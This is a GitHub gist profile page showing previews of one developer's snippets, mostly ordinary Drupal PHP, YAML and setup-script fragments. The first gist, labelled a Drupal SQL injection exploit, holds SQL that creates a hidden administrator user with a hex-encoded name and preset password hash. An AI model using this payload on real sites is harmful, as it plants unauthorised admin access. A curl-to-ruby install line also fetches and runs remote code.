Skip to content

Instantly share code, notes, and snippets.

View allgood2386's full-sized avatar

Richard Allen allgood2386

  • Bixal
  • Northern Virgina
View GitHub Profile
@allgood2386
allgood2386 / gist:3dc1e073b9f0c622a82d
Created November 4, 2014 14:16
Drupal Sql Injection exploit
# Creates "megauser role with elevated permissions"
#########################################
insert into users (uid,`name`,`pass`,status) select max(uid)+1,0x64727570616c646576 ,0x245324437274333435366767706141636d4e39447868367a674c66637736384c4e62697a5a6543726f2e4561574d33427a634b6a316835,1 from users;
insert into users_roles(uid,rid) select uid,1000 from users where name like 0x64727570616c646576;
INSERT INTO role (rid,name, weight) VALUES (1000,'megauser', '999')
INSERT INTO role_permission (rid, permission, module) VALUES (1000, 'administer blocks', 'block'),(1000, 'administer filters', 'filter'),(1000, 'bypass node access', 'node'),(1000, 'administer content types', 'node'),(1000, 'administer nodes', 'node'),(1000, 'access content overview', 'node'),(1000, 'access content', 'node'),(1000, 'view own unpublished content', 'node'),(1000, 'view revisions', 'node'),(1000, 'revert revisions', 'node'),(1000, 'delete revisions', 'node'),(1000, 'administer modules', 'system'),(1000, 'administer site configuratio
$lp_view = views_get_view('legacy_partners');
$lp_view->set_display('block');
$form['lp_fieldset']['lp_search_block'] = array (
'#type' => 'markup',
'#prefix' => '<div id="lp_replace_results">',
'#suffix'=> '</div>',
'#markup' => $lp_view->preview(),
);
$lp_view->destroy();
@allgood2386
allgood2386 / gist:566daf7ea0c8d86d4dda
Last active December 3, 2015 13:02
bitly url shornter ultility
#!/usr/bin/env python
#
# Copyright 2009 Empeeric LTD. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#!/bin/sh
echo "Installing homebrew..."
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
# Update homebrew recipes
brew update
#taps
@allgood2386
allgood2386 / l
Last active December 10, 2015 19:14
<?php
l(t('%fieldvaluehere rest of my string', array('%fieldvaluehere' =>$field_result[0]['value']));
l(t('Link name you want the user to see'), 'sites/default/files/docs/docname.pdf'); or if the file is an entity (ignore this part if you are confused now) l(t('Link name you want the user to see'), drupal_get_path_alias( 'sites/default/files/docs/docname.pdf'));
<?php
$node = entity_meta_datawrapper('node', $nid');
$node->field_something[] = $someValue;
$node = $node->save();
if ($node->nid) {
//sucess
}
<?php
$entity_wrapper->field_date_project_posted->set(array(
'value' => $dt->format('Y-m-d'),
'value2' => $dt2->format('Y-m-d'),
));
process:
type:
plugin: default_value
default_value: article
title: post_title
nid: ID
uid:
plugin: default_value
default_value: 1
sticky:
$node = ['119' => '119];
$node = $this->entityTypeManager->getStorage('node')->load(array_shift($nodes));
vs
$node = $this->entityTypeManager->getStorage('node')->loadMultiple($nodes);